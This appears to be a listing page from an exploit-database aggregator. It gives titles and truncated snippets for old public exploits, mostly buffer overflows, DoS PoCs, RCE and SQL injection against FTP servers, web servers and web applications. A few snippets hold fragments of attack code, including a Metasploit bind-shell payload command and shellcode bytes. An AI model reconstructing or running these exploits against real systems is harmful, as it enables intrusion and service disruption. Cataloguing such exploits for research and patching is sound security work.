Freefloat FTP Server (LIST command) Buffer Overflow Exploit

No description provided by source. !/usr/bin/python from struct import pack import socket,sys import os print ||=============================================================|| print || || print || / \ 0-Exploit Zer0 Thunder || print || \ \ ,, / /--------------------------------------------|| prin...

MyWebServer 1.0.3 - Denial of Service

No description provided by source. Title : MyWebServer v1.0.3 Denial Of Service Software : http://www.softpedia.com/get/Internet/Servers/WEB-Servers/MyWebServer.shtml Tested on : Windows 7 home premium / Windows XP SP2 EN Date : 27/07/2011 Author : X-h4ck Site : http://www.pirate.al/ PirateAL Cre...

ApPHP MicroBlog 1.0.1 - Remote Command Execution

ApPHP MicroBlog 1.0.1 - Remote Command Execution !/usr/bin/python import random import hashlib import urllib from base64 import b64encode as b64 import sys import re Exploit Title: Python exploit for ApPHP MicroBlog 1.0.1 Free Version - RCE Exploit Author: LOTFREE Version: ApPHP MicroBlog 1.0.1...

Et-Chat 3.0.7 Password Reset

IIIIIIII RRRRRRRRRRRR HHHHHHHH HHHHHHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRRRRRRRR HHHHHHHHHHHHHHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIIIIIII RRRRRRRR RRRRRR...

D-Link Releases Router Firmware Updates for backdoor vulnerability

In October, A Security researcher 'Craig Heffner' discovered a backdoor vulnerability CVE-2013-6027 with certain D-Link routers that allow cyber criminals to alter a router setting without a username or password. Last week, D-Link has released new version of Firmware for various vulnerable router...

TP-Link TL-WR740N TL-WR740ND 150M Wireless Lite N Router - HTTP Denial of Service

TP-Link TL-WR740N TL-WR740ND 150M Wireless Lite N Router - HTTP Denial of Service Exploit title: 150M Wireless Lite N Router HTTP DoS Date: 28.11.2013 Exploit Author: Dino Causevic Hardware Link: http://www.tp-link.com/en/products/details/?model=TL-WR740N Vendor Homepage: http://www.tp-link.com/...

WHMCS 5.2.7 - SQL Injection Exploit

Exploit for php platform in category web applications !/usr/bin/env python 2013/10/03 - WHMCS 5.2.7 SQL Injection http://localhost.re/p/whmcs-527-vulnerability url = 'http://clients.target.com/' wopsie dopsie useremail = 'email protected' just create a dummie account at /register.php userpwd =...

OneHTTPD 0.7 - Denial of Service

OneHTTPD 0.7 - Denial of Service !/usr/bin/env python Exploit Title: onehttpd 0.7 Denial of Service Date: 12 Aug 2013 Exploit Author: superkojiman - http://www.techorganic.com Vendor Homepage: https://code.google.com/p/onehttpd/ Version: onehttpd 0.7 Tested on: Windows 7 Ultimate English Windows ...

Code::Blocks - Denial of Service

source: https://www.securityfocus.com/bid/60208/info Code::Blocks is prone to a denial-of-service vulnerability. An attacker can exploit this issue to cause an affected application to crash, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be...

cURL - Buffer Overflow (PoC)

cURL - Buffer Overflow PoC cURL buffer overflow Wed 06 February 2013 Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution RCE. When negotiating SASL DIGEST-MD5 authentication, the function Curlsaslcreatedigestmd5messa...

Serva 2.0.0 HTTP Server Denial Of Service

Inshell Security Advisory http://www.inshell.net 1. ADVISORY INFORMATION ----------------------- Product: Serva Vendor URL: www.vercot.com Type: Uncaught Exception CWE-248 Date found: 2012-12-07 Date published: 2013-01-14 CVSSv2 Score: 5.0 AV:N/AC:L/Au:N/C:N/I:N/A:P CVE: - 2. CREDITS ----------...

Zabbix 1.6.2 Remote Code Execution

!/usr/bin/env python Title: Zabbix version 1.6.2 Remote Code Execution Exploit CVE: ????-???? Reference: http://www.ush.it/team/ush/hack-zabbix162/adv.txt Author: infodox Site: http://insecurety.net/ Twitter: @infodox Old news, just practicin' my python :3 import requests import sys vulnurl =...

NCMedia Sound Editor Pro 7.5.1 Buffer Overflow

Inshell Security Advisory http://www.inshell.net 1. ADVISORY INFORMATION ----------------------- Product: Sound Editor Pro v7.5.1 Vendor URL: www.soundeditorpro.com Type: Stack-based Buffer Overflow CWE-121 Date found: 2012-08-15 Date published: 2012-09-16 CVSSv2 Score: 6,9...

EasyFTP Server 1.7.0.11 - 'APPE' Remote Buffer Overflow

!/usr/bin/env python -- coding: latin-1 -- / / / / / / // / / -/ - / // / / / / // / ////,//////,// ///, / // nullsecurity team Easy FTP server remote exploit DATE 03/03/2012 DESCRIPTION Easy FTP Server - "APPE" command buffer overflow - remote exploit AUTHOR Swappage -...

Immunity Canvas: ADOBE_FLASH_MP4_CPRT

Name| adobeflashmp4cprt ---|--- CVE| CVE-2012-0752 Exploit Pack| CANVAS Description| adobeflashmp4cprt Notes| CVE Name: CVE-2012-0752 Vendor: Adobe Notes: Usage: python ./exploits/clientd/clientd.py -l 192.168.1.109 -d 5555 -O serverport:8080 -O allowedattackmodules:adobeflashmp4cprt -O...

Savant Web Server 3.1 Buffer Overflow

!/usr/bin/python import socket targetaddress="10.10.10.129" targetport=80 buffer2 = "R0cX" + "R0cX" msfpayload windows/shellbindtcp LPORT=4444 R | msfencode -e x86/shikataganai -c 4 -t c buffer2 += "\xbd\xec\x37\x93\x4b\xdb\xcf\xd9\x74\x24\xf4\x58\x31\xc9\xb1"...

Exploit for Uncontrolled Resource Consumption in Apache Http_Server

PoC exploit for CVE-2011-3192, a Range Header DoS vulnerability...

BisonWare BisonFTP Server 3.5 - Remote Buffer Overflow

!/usr/bin/python BisonFTP Server \n" %sys.argv0 sys.exit print "\n! Connecting to %s ..." %sys.argv1 connect to host sock = socketAFINET,SOCKSTREAM sock.connectsys.argv1,intsys.argv2 sock.recv1024 time.sleep5 padding buffer = "\x90" 1092 368 bytes shellcode buffer +=...

Lumension Security Lumension Device Control 4.x - Memory Corruption

Lumension Security Lumension Device Control 4.x - Memory Corruption source: https://www.securityfocus.com/bid/47952/info Lumension Security Lumension Device Control formerly Sanctuary is prone to a memory-corruption vulnerability. An attacker can exploit this issue to cause a denial-of-service...

Accmeware MP3 Speed 5.0.9 DoS PoC

Exploit for windows platform in category dos / poc Exploit Title: Accmeware MP3 Speed 5.0.9 DoS PoC Date: 12/20/2010 Author: 0v3r Software Link: http://www.mp3-cutter-splitter.com/Files/MSSetup.exe Version: 5.0.9 Tested on: Windows XP SP3 EN VirtualBxox CVE: N/A The application crashes when trys ...